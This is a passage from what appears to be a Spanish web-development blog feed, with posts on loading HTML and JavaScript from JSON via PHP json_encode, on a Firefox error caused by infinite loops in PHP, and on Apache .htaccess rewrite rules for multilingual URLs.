Estoy seguro de que a más de uno le va a ir de perlas estas 3 líneas de código! al menos a mí me va a dar mucha potencia de programación con JSON y javascript. Y sinceramente, cuesta encontrar información "actualizada" en internet. Ya sabes que este tipo de información técnica (especialmente cross-browser) se desfasa con facilidad, con la salida de nuevas versiones de navegadores continuamente!! Así que lo que es válido hoy deja de serlo al cabo de 2 años :(&lt;br /&gt;
&lt;br /&gt;
Te invito a que comentes cualquier sugerencia que tengas al respecto, eh! seguro que a todos nos interesa (temas de compatibilidad, por ejemplo). Si probando el código ves que te funciona en otros navegadores, por favor, coméntalo brevemente ;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Actualización 2012-mar-06&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Bajo petición de un comentarista añado a continuación un ejemplo de cómo debería ser el código PHP del archivo&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style="color: #38761d;"&gt;json_top_webs.php&lt;/span&gt;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
que uso en los ejemplos de arriba.&lt;br /&gt;
&lt;br /&gt;
&lt;div style="background-color: #eeeeee; border: 1px #aaa solid; margin: 9px; padding: 9px;"&gt;
&lt;code&gt;&lt;b style="color: #888!important;"&gt;1&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;span style="color: black;"&gt;&lt;span style="color: #0000bb;"&gt;&amp;lt;?php&lt;br /&gt;&lt;b style="color: #888!important;"&gt;2&lt;/b&gt;&amp;nbsp;&lt;br /&gt;&lt;b style="color: #888!important;"&gt;3&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$ret&lt;/span&gt;&lt;span style="color: #007700;"&gt;=array(&lt;br /&gt;&lt;b style="color: #888!important;"&gt;4&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #dd0000;"&gt;'table_webs'&lt;/span&gt;&lt;span style="color: #007700;"&gt;=&amp;gt;&lt;/span&gt;&lt;span style="color: #dd0000;"&gt;'&amp;lt;p&amp;gt;table&amp;lt;/p&amp;gt;'&lt;/span&gt;&lt;span style="color: #007700;"&gt;,&lt;br /&gt;&lt;b style="color: #888!important;"&gt;5&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #dd0000;"&gt;'script_leyenda'&lt;/span&gt;&lt;span style="color: #007700;"&gt;=&amp;gt;&lt;/span&gt;&lt;span style="color: #dd0000;"&gt;"alert('Hi&amp;nbsp;world');"&lt;br /&gt;&lt;b style="color: #888!important;"&gt;6&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700;"&gt;);&lt;br /&gt;&lt;b style="color: #888!important;"&gt;7&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style="color: #888!important;"&gt;8&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;json_encode&lt;/span&gt;&lt;span style="color: #007700;"&gt;(&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;$ret&lt;/span&gt;&lt;span style="color: #007700;"&gt;);&lt;br /&gt;&lt;b style="color: #888!important;"&gt;9&lt;/b&gt;&amp;nbsp;&lt;br /&gt;&lt;b style="color: #888!important;"&gt;10&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;?&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;
&lt;br /&gt;
No necesita mucha explicación, pero por los que empiezan con el PHP:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;definimos un array con dos elementos que llevan el nombre que luego usaremos en el javascript (como "&lt;b&gt;datos.table_webs&lt;/b&gt;").&lt;/li&gt;
&lt;li&gt;fijaros en el valor de cada uno de ellos. El primero es código HTML tal cuál, y el segundo es CUALQUIER instrucción o instrucciones de javascript, desde un simple &lt;b&gt;alert()&lt;/b&gt; hasta definir funciones si es necesario.&lt;/li&gt;
&lt;li&gt;por último hacemos un &lt;b&gt;echo&lt;/b&gt; del array pasándolo primero por la función nativa de PHP &lt;b&gt;json_encode()&lt;/b&gt; que lo que hace es reescribir los datos en formato JSON (ya sabéis: con llaves, comillas dobles, y comas, escapando los valores que haga falta). Cuidado porqué esta función creo que no estaba en algunas versiones de PHP 4.x ! pero en fin, quiero pensar que hace años que todo el mundo actualizó ya a PHP 5.x&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
Un saludo!!!&lt;br /&gt;
SERGI</description><link>http://crear-paginas-web.blogspot.com/2009/05/cargar-javascript-desde-json-o-ajax-con.html</link><author>noreply@blogger.com (Usher web)</author><thr:total>8</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-4714735783718459057.post-7499732487715017383</guid><pubDate>Thu, 21 May 2009 23:28:00 +0000</pubDate><atom:updated>2009-08-08T21:02:05.248-07:00</atom:updated><title>FireFox, solución a "Ha escogido abrir..."</title><description>Este artículo es un poco técnico, pero me veo obligado a publicarlo para compartir la solución a un problema que creo que es más común de lo que parece y sobre el que he encontrado muy poco escrito. Pienso que los desarrolladores de aplicaciones web que lo lean me lo agradecerán. Tal vez no te haya ocurrido nunca, pero ya llegará el día, jejejeje...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Signos del problema&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;- Cuando se intenta acceder a ciertas páginas de la aplicación, el navegador tarda en responder como casi un minuto y luego -al menos en FireFox- aparece una ventana en la que el mensaje dice "Ha escogido abrir este archivo..." y te da la opción de guardar el "supuesto" archivo PHP en lugar de mostrar el contenido de la web. Si pruebas a visitar la misma página desde IE la página quedará completamente en blanco y no mostrará nada.&lt;br /&gt;&lt;br /&gt;- Es posible que algunas páginas de la web si vayan, porque sean HTML, pero también algunas de PHP también pueden verse mientras otras no. Después de leer el artículo entero entenderás porqué.&lt;br /&gt;&lt;br /&gt;- El problema te ocurre tanto si visitas las web desde tu PC o desde cualquier otro. Aunque ten cuidado con las copias guardadas en caché!!! te pueden jugar "bromas pesadas": hacerte creer que una página se ve bien cuando realmente no es así, o al revés! Para estar seguro siempre de que el navegador te muestra la página devuelta por el servidor te aconsejo refrescar la página con CTRL+F5.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Causa del problema&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;- Tu aplicación web está teniendo algún "problema" en algún punto de sus "cálculos": en algún lugar del código se entra en una especie de "bucle infinito" que deja a la aplicación "pensando indefinidamente". Por esta causa el servidor da una respuesta "incoherente" al navegador, o digamos que el navegador no sabe interpretar la respuesta (¿curioso, verdad?).&lt;br /&gt;&lt;br /&gt;- Por ejemplo, en mi caso se trataba de una clase que yo había programado para acceder a un archivo histórico, que cuando accede bloquea/desbloquea un archivo como señal de alerta para otros "hilos" de la aplicación, de que no pueden acceder en ese momento a la aplicación. La cuestión es que este sistema me funciona sin problemas (hasta ahora). Pero la empresa de hosting hizo una especie de restauración de backup en los servidores que debieron alterar los permisos de escritura sobre el directorio en el que está ubicado el archivo. En conclusión: mi aplicación se quedaba encallada en ese punto: intentando acceder a ese archivo permanentemente "bloqueado". Una vez que descubrí este fenómeno, la solución fue fácil: por FTP cambié los atributos del directorio para poderse escribir en él!&lt;br /&gt;&lt;br /&gt;- Sin embargo, mi caso es muy particular y entiendo que difícil de repetir por otros programadores. Pero no así el problema de fondo: dejar a la aplicación en "stand by" (o en bucle) hasta resolver algo irresoluble. Por ejemplo, entre los comentarios que he leído en otros foros, hay gente que le ha pasado exactamente lo mismo cuando su aplicación web intenta hacer un "fopen", que es una lectura de un archivo remoto con PHP. Lo que quiero decir es que si no te ha pasado todavía (como desarrollador web) es muy posible que te pueda pasar en breve. Sobretodo hoy en día en el que la programación con webservices y consultas remotas está tan a la orden del día ;)&lt;br /&gt;&lt;br /&gt;- [&lt;span style="font-weight:bold;"&gt;Nota añadida 8-ago-2009&lt;/span&gt;] Hoy me ha ocurrido otra vez un bucle de esos que me ocasionó el mismo error! Aunque esta vez, sabiendo que se trataba de un bucle infinito he ido haciendo "debugeo" hasta encontrar donde se me "colapsaba" la aplicación ;) El bucle era del tipo "función recursiva MAL HECHA":&lt;br /&gt;&lt;br /&gt;&lt;div style="border:1px #aaa solid;background-color:#eee;padding:11px;line-height:25px;"&gt;&lt;span style="font-weight:bold;"&gt;function mi_funcion(){&lt;/span&gt;&lt;br /&gt;&lt;span style="margin-left:50px;"&gt;  if (condicion)&lt;/span&gt;&lt;br /&gt;&lt;span style="margin-left:100px;"&gt;  return mi_funcion();&lt;/span&gt;&lt;br /&gt;&lt;span style="margin-left:50px;"&gt;  else&lt;/span&gt;&lt;br /&gt;&lt;span style="margin-left:100px;"&gt;   return 'a otra cosa mariposa';&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;} &lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Con lo cuál, en los casos en que "condición" es verdadero se llama de nuevo a la misma función, en un bucle infinito!! ¿Cuál fue esta vez mi error...? pues que en realidad cuando escribí el código quería llamar a una "mi_segunda_funcion()" en el caso de que "condicion" fuera verdadero... en fin, que me equivoqué con el nombre de la función!!! :((( es uno de esos errores del "copiar y pegar", del que no hace falta que diga mucho más, verdad?! jejeje...&lt;br /&gt;&lt;br /&gt;Bueno, en fin, cualquier comentario al respecto será bienvenido, si te ha pasado lo mismo o algo parecido. No dudes en comentarlo aquí... igual que tú has llegado hasta aquí con ese problema, detrás tuyo vendrá más gente a quien le podrá ser útil! no olvides escribir tu solución cuando la halles! ;)&lt;br /&gt;&lt;br /&gt;Un saludo!&lt;br /&gt;SERGI&lt;br /&gt;PD: está lloviendo!!! jajajaja... se agradece en este tórrido territorio (desierto de Sonora, México) en donde solo ayer estabamos a 43 grados (a finales de Mayo...).</description><link>http://crear-paginas-web.blogspot.com/2009/05/firefox-solucion-ha-escogido-abrir.html</link><author>noreply@blogger.com (Usher web)</author><thr:total>7</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-4714735783718459057.post-6216697664569245407</guid><pubDate>Sat, 11 Apr 2009 03:11:00 +0000</pubDate><atom:updated>2010-01-06T19:29:58.238-07:00</atom:updated><title>Redirección interna con RewriteRule, RewriteCond y paso de variables PHP</title><description>&lt;span style="color: rgb(0, 153, 0);"&gt;Llevo 5 horas leyendo, buscando, probando... y por fin hallé lo que necesitaba!!!!!!!! Lo más frustante ha sido encontrar apenas casos como el mío... lo cuál no acabo de entender pues creo que es de lo más normal. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Mi caso es el siguiente: tengo un site funcionando en inglés&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;http://midominio.com&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;y como es un CMS hecho en PHP tengo URLS del tipo:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;http://midominio.com/index.php?pag=foro&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Lo que necesito es convertir mi CMS en multi-idiomas con los menos cambios posibles y de una forma amigable para usuarios y buscadores. ¿Creo que es algo muy generalizado, verdad? Por eso no entiendo el porque me ha costado encontrar referencias que me ayudaran. Tal vez he estado buscando mal ;)&lt;br /&gt;&lt;br /&gt;La solución que buscaba era la de poder tener URLS como&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;http://midominio.com/&lt;span style="color: rgb(255, 0, 0);"&gt;es&lt;/span&gt;/index.php?pag=foro&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;que llevara "internamente" (es decir, sin que el visitante se dé cuenta... es decir, sin que camb ie la URL en su navegador) a esta otra URL&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;http://midominio.com/index.php?pag=foro&lt;span style="color: rgb(255, 0, 0);"&gt;&amp;amp;idioma=es&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;De esta forma el visitante podría estar navegando siempre por el "subdominio" &lt;span style="font-weight: bold;"&gt;/es/&lt;/span&gt; pero en realidad la aplicación de PHP que es llamada es siempre la misma solo que se le pasa la variable idioma y de esta forma puede mostrar los contenidos adecuados! ;)&lt;br /&gt;&lt;br /&gt;La última condición que necesitaba cumplir es que el archivo PHP llamado fuera cualquiera y no solo index.php, y que las variables de la URL fueran cualesquiera y cuantas sean necesarias.&lt;br /&gt;&lt;br /&gt;Y en fin, después de 5 horas de lecturas y pruebas hallé el contenido del archivo .htaccess que tengo que poner en la raiz de ese dominio:&lt;br /&gt;&lt;br /&gt;&lt;blockquote style="border: 1px solid rgb(204, 204, 204); padding: 7px; background-color: rgb(238, 238, 238); color: rgb(102, 102, 102);"&gt;Options +FollowSymLinks&lt;br /&gt;RewriteEngine On&lt;br /&gt;RewriteRule ^&lt;span style="color: rgb(255, 0, 0);"&gt;es&lt;/span&gt;/$ $1&lt;span style="color: rgb(255, 0, 0);"&gt;?idioma=es&lt;/span&gt;&lt;br /&gt;RewriteRule ^&lt;span style="color: rgb(255, 0, 0);"&gt;es&lt;/span&gt;$ $1&lt;span style="color: rgb(255, 0, 0);"&gt;?idioma=es&lt;/span&gt;&lt;br /&gt;RewriteCond %{QUERY_STRING} ^&lt;span style="color: rgb(0, 0, 153);"&gt;([^/]+)&lt;/span&gt;&lt;br /&gt;RewriteRule ^&lt;span style="color: rgb(255, 0, 0);"&gt;es&lt;/span&gt;/&lt;span style="color: rgb(0, 102, 0);"&gt;(.+)&lt;/span&gt;\.php$ &lt;span style="color: rgb(0, 102, 0);"&gt;$1&lt;/span&gt;.php?&lt;span style="color: rgb(0, 0, 153);"&gt;%1&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&amp;amp;idioma=es&lt;/span&gt;&lt;br /&gt;RewriteRule ^&lt;span style="color: rgb(255, 0, 0);"&gt;es&lt;/span&gt;/&lt;span style="color: rgb(0, 102, 0);"&gt;(.+)&lt;/span&gt;$ &lt;span style="color: rgb(0, 102, 0);"&gt;$1&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;No quiero hacer un tutorial aquí del tema, porque sería larguísimo y además no tengo los conocimientos adecuados. Posiblemente incluso la sintaxis que he utilizado podría mejorarse. Pero voy a detallar lo poco que he entendido de estas líneas de código y su función:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;las dos primeras líneas son necesarias sí o sí si se quieren utilizar en APACHE estas reglas de redirección&lt;/li&gt;&lt;li&gt;la 3a y 4a líneas son para añadir "&lt;span style="color: rgb(255, 0, 0);"&gt;?idioma=es&lt;/span&gt;" a la URL cuando no menciona ningún archivo PHP: http://midominio.com/&lt;span style="color: rgb(255, 0, 0);"&gt;es&lt;/span&gt;&lt;/li&gt;&lt;li&gt;las líneas 5a y 6a van "ligadas". La primera "lee" el QUERY_STRING que son las variables $_GET que vienen después del "&lt;span style="color: rgb(0, 102, 0);"&gt;archivo&lt;/span&gt;.php?", y las insertamos en el output de la línea 6a como &lt;span style="color: rgb(0, 0, 153);"&gt;%1&lt;/span&gt;.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;la línea 7 es para que se redireccionen todas las demás URLS, esta vez sin añadir nada del idioma, como las imágenes o las hojas de estilo CSS.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt; Para el que quiera saber más, decir que las sentencias RewriteRule manejan siempre la sintaxis:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;RewriteRule input output&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;En donde input es una "expresión regular" (expresión que usa un lenguaje de comodines) que coincidirá solamente con algunas URLs concretas, y output es simplemente las URLS que finalmente debe construir y llamar Apache, utilizando normalmente "partes" del input. Esas partes son &lt;span style="color: rgb(0, 0, 153);"&gt;$1&lt;/span&gt;,&lt;span style="color: rgb(0, 0, 153);"&gt;$2&lt;/span&gt;,&lt;span style="color: rgb(0, 0, 153);"&gt;$3&lt;/span&gt;... (tal como se utilizan en la sintaxis del output), y se corresponden con el contenido de los diferentes paréntesis () que hay en la expresión regular del input.&lt;br /&gt;&lt;br /&gt;Ejemplo:&lt;br /&gt;&lt;br /&gt;&lt;span style="border: 1px solid rgb(204, 204, 204); padding: 7px; background-color: rgb(238, 238, 238); color: rgb(102, 102, 102);"&gt;RewriteRule ^&lt;span style="color: rgb(255, 0, 0);"&gt;es&lt;/span&gt;/&lt;span style="color: rgb(0, 102, 0);"&gt;(.+)&lt;/span&gt;\.php$ &lt;span style="color: rgb(0, 102, 0);"&gt;$1&lt;/span&gt;.php?&lt;span style="color: rgb(0, 0, 153);"&gt;%1&lt;/span&gt;&amp;amp;idioma=es&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;coincidirá con URLS del tipo:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;es&lt;/span&gt;/&lt;span style="font-weight: bold; color: rgb(0, 102, 0);"&gt;index&lt;/span&gt;.php&lt;span style="font-style: italic;"&gt;?&lt;span style="color: rgb(0, 0, 153);"&gt;pag=foro&lt;/span&gt; &lt;/span&gt;(&lt;span style="font-style: italic; color: rgb(0, 0, 153);"&gt;pag=foro&lt;/span&gt; sería el QUERY_STRING,&lt;span style="font-weight: bold; color: rgb(0, 0, 153);"&gt;%1&lt;/span&gt;)&lt;blockquote&gt;&lt;/blockquote&gt;y será transformada en &lt;span style="font-weight: bold; color: rgb(0, 102, 0);"&gt;index&lt;/span&gt;.php?&lt;span style="font-style: italic; color: rgb(0, 0, 153);"&gt;pag=foro&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&amp;amp;idioma=es&lt;/span&gt;&lt;br /&gt;Como véis, el nombre del archivo php (&lt;span style="color: rgb(0, 102, 0);"&gt;index&lt;/span&gt;) es una variable! ;)&lt;br /&gt;y el QUERY_STRING también aunque se lee en una línea RewriteCond previa.&lt;br /&gt;&lt;br /&gt;La verdad es que el tema es un auténtico lío, jejeje... así que no dudo de que alguno de vosotros no haya entendido la mitad! Lo que si puedo aseguraros es que si queréis entender algo deberíais empezar por leer algún tutorial sobre el tema de .htaccess o de las expresiones regulares, que es de lo que va esto ;)&lt;br /&gt;&lt;br /&gt;&lt;hr style='color:#888;border:1px #888 solid;' /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Actualización 6 Enero 2010&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Podemos simplificar aún más el trabajo con idiomas&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Trabajando esta semana en el tema de los idiomas (de nuevo) he descubierto que se puede conseguir lo mismo que pretendíamos al inicio de este artículo pero de manera un poco más "limpia" y cómoda. Me explico.&lt;br /&gt;&lt;br /&gt;Arriba hemos utilizado el archivo .htaccess para realizar una redirección interna de:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;http://midominio.com/&lt;span style='color:#f00;'&gt;es&lt;/span&gt;/index.php?pag=foro&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;a&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;http://midominio.com/index.php?pag=foro&lt;span style='color:#f00;'&gt;&amp;idioma=es&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Y sin embargo he descubierto que podemos optar a una redirección más sencilla (con menos líneas y menos complicación en el archivo &lt;b&gt;.htaccess&lt;/b&gt;) si usamos bien el PHP ;) En concreto, la redirección la llevaremos simplemente hacia:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;http://midominio.com/index.php?pag=foro&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Es decir, que literalmente nos "comemos" el "es/" (más abajo pongo como ha de ser el .htaccess), y usamos el PHP para "leer" el "idioma" (en nuestro ejemplo 'es') en la URL (a la que accedemos con &lt;b&gt;$_SERVER['REQUEST_URI']&lt;/b&gt;). El código PHP sería algo como esto:&lt;br /&gt;&lt;br /&gt;&lt;blockquote style="border: 1px solid rgb(204, 204, 204); padding: 7px; background-color: rgb(238, 238, 238); color: rgb(0, 0, 0);"&gt;&lt;span style='color:#c00'&gt;$a_idiomas&lt;/span&gt;=&lt;span style='color:#00c'&gt;array&lt;/span&gt;(&lt;span style='color:#0c0'&gt;'es','en','fr'&lt;/span&gt;);&lt;br /&gt;&lt;span style='color:#c00'&gt;$REQUEST_URI&lt;/span&gt;=&lt;span style='color:#c00'&gt;$_SERVER&lt;/span&gt;&lt;span style='color:#00c'&gt;[&lt;/span&gt;&lt;span style='color:#0c0'&gt;'REQUEST_URI'&lt;/span&gt;&lt;span style='color:#00c'&gt;]&lt;/span&gt;;&lt;br /&gt;foreach(&lt;span style='color:#c00'&gt;$a_idiomas&lt;/span&gt; as &lt;span style='color:#c00'&gt;$v&lt;/span&gt;){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ( &lt;span style='color:#c00'&gt;!&lt;/span&gt;&lt;span style='color:#00c'&gt;strpos&lt;/span&gt;(&lt;span style='color:#c00'&gt;$REQUEST_URI&lt;/span&gt;,&lt;span style='color:#0c0'&gt;'/'&lt;/span&gt;&lt;span style='color:#c00'&gt;.$v.&lt;/span&gt;&lt;span style='color:#0c0'&gt;'/'&lt;/span&gt;)&lt;span style='color:#c00'&gt;===&lt;/span&gt;&lt;span style='color:#00c'&gt;false&lt;/span&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; or &lt;span style='color:#00c'&gt;substr&lt;/span&gt;(&lt;span style='color:#c00'&gt;$REQUEST_URI&lt;/span&gt;,&lt;span style='color:#c00'&gt;-&lt;/span&gt;1&lt;span style='color:#c00'&gt;*&lt;/span&gt;(&lt;span style='color:#00c'&gt;strlen&lt;/span&gt;(&lt;span style='color:#c00'&gt;$v&lt;/span&gt;)&lt;span style='color:#c00'&gt;+&lt;/span&gt;&lt;span style='color:#00c'&gt;1&lt;/span&gt;))&lt;span style='color:#c00'&gt;==&lt;/span&gt;&lt;span style='color:#0c0'&gt;'/'&lt;/span&gt;&lt;span style='color:#c00'&gt;.$v&lt;/span&gt; ) &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style='color:#c00'&gt;$idioma=$v&lt;/span&gt;;&lt;br /&gt;}&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;En el array &lt;span style='color:#c00;'&gt;$a_idiomas&lt;/span&gt; cargamos las siglas de los idiomas que usamos en nuestro site. En &lt;span style='color:#c00;'&gt;$REQUEST_URI&lt;/span&gt; cargamos la URL solicitada (sin incluir el dominio o host), es decir, en nuestro ejemplo sería &lt;span style='color:#0c0;'&gt;/es/index.php?pag=foro&lt;/span&gt;. Después, solamente ejecutamos un bucle que recorre cada uno de los idiomas buscando si sus siglas aparecen como &lt;span style='color:#00c;'&gt;/es/&lt;/span&gt; o como &lt;span style='color:#00c;'&gt;/es&lt;/span&gt; (en una URL del tipo &lt;b&gt;http://midominio.com&lt;span style='color:#c00;'&gt;/es&lt;/span&gt;&lt;/b&gt;). Si ocurre alguno de estos casos, entonces ya hemos encontrado &lt;b&gt;cuál es el idioma&lt;/b&gt; que el visitante está requiriendo ;)&lt;br /&gt;&lt;br /&gt;Fijaros que no hemos necesitado que la redirección interna nos lleve a una URL que contenga la variable &lt;b&gt;GET&lt;/b&gt; &lt;span style='color:#c00;'&gt;&amp;idioma=&lt;span style='color:#0c0;'&gt;es&lt;/span&gt;&lt;/span&gt;. Y eso se va a traducir en lo siguiente: un archivo &lt;b&gt;.htaccess&lt;/b&gt; mucho más limpio:&lt;br /&gt;&lt;br /&gt;&lt;blockquote style="border: 1px solid rgb(204, 204, 204); padding: 7px; background-color: rgb(238, 238, 238); color: rgb(0, 0, 0);"&gt;Options +FollowSymLinks&lt;br /&gt;RewriteEngine On&lt;br /&gt;&lt;br /&gt;RewriteRule ^&lt;span style='color:#c00;'&gt;es&lt;/span&gt;$ $1&lt;br /&gt;RewriteRule ^&lt;span style='color:#c00;'&gt;es&lt;/span&gt;/$ $1&lt;br /&gt;RewriteRule ^&lt;span style='color:#c00;'&gt;es&lt;/span&gt;/(.+)$ $1&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Es decir, de 5 reglas nos hemos quedado con solo 3, y además las más sencillas! No entiendo muy bien la razón pero no he podido deshacerme de una de ellas. Intuyo que en realidad las 2 últimas &lt;i&gt;RewriteRule&lt;/i&gt; son redundantes, pero después de hacer pruebas he comprobado que ambas son necesarias &lt;b&gt;:S&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Pero no se vayan... aún hay más! jejeje&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Cuando no trabajamos en la raíz del dominio&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Uno de los comentaristas (Carlos) preguntó acerca de trabajar en "local", en dónde lo anterior sufre algunos problemillas... :S En mi caso, también tuve problemas cuando quise trabajar en un directorio por debajo de la raíz del dominio, como por ejemplo en:&lt;br /&gt;&lt;br /&gt;&lt;span style='color:#00c;'&gt;http://midominio.com/&lt;span style='color:#0c0;'&gt;sports&lt;/span&gt;/&lt;span style='color:#c00;'&gt;es&lt;/span&gt;/index.php&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Para no extenderme mucho, la solución que me ha funcionado ha sido usar la cláusula &lt;b&gt;RewriteBase /directorio&lt;/b&gt; que indica al servidor Apache que si usamos redirecciones absolutas queremos que la "raíz" no sea la del dominio (&lt;b&gt;http://midominio.com/&lt;/b&gt;), sino &lt;b&gt;http://midominio.com/directorio&lt;/b&gt;. Esta cláusula nos será útil y necesaria solo si usamos el parámetro &lt;span style='color:#00c;'&gt;[R]&lt;/span&gt; al final de algún &lt;b&gt;RewriteRule&lt;/b&gt;. Este parámetro obliga al servidor a &lt;b&gt;CAMBIAR&lt;/b&gt; la URL que vino del navegador por la resultante de aplicar la regla Rewrite !!! &lt;br /&gt;&lt;br /&gt;Para aclararnos, veamos como yo he dejado mi archivo &lt;b&gt;.htaccess&lt;/b&gt; que he colocado en &lt;u&gt;/sports&lt;/u&gt;:&lt;br /&gt;&lt;br /&gt;&lt;blockquote style="border: 1px solid rgb(204, 204, 204); padding: 7px; background-color: rgb(238, 238, 238); color: rgb(0, 0, 0);"&gt;Options +FollowSymLinks&lt;br /&gt;RewriteEngine On&lt;br /&gt;&lt;br /&gt;&lt;b&gt;RewriteBase &lt;u&gt;/sports&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;RewriteRule ^&lt;span style='color:#c00;'&gt;es&lt;/span&gt;$ es/ &lt;b&gt;&lt;span style='color:#00c;'&gt;[R]&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;RewriteRule ^&lt;span style='color:#c00;'&gt;es&lt;/span&gt;/$ $1&lt;br /&gt;RewriteRule ^&lt;span style='color:#c00;'&gt;es&lt;/span&gt;/(.+)$ $1&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Añadir a lo dicho, que ahora la primera regla ya no es una redirección INTERNA, sino &lt;b&gt;EXTERNA&lt;/b&gt;, es decir, al llegar a ella, si la URL pedida por el visitante cumple con la expresión &lt;span style='color:#c00;'&gt;^es$&lt;/span&gt; entonces se va a &lt;b&gt;modificar la URL del navegador del visitante&lt;/b&gt; por una URL exactamente igual pero acabada en 'slash' &lt;span style='color:#c00;'&gt;/&lt;/span&gt;. &lt;br /&gt;&lt;br /&gt;¿Para qué complicarnos tanto la vida? Pues porque de esta forma si alguien escribe:&lt;br /&gt;&lt;br /&gt;&lt;span style='color:#00c;'&gt;http://midominio.com/sports/es&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;será redirigido a:&lt;br /&gt;&lt;br /&gt;&lt;span style='color:#00c;'&gt;http://midominio.com/sports/es&lt;span style='color:#c00;'&gt;/&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;y con esto los enlaces &lt;b&gt;relativos&lt;/b&gt; que hayan en esa página serán considerados por el navegador 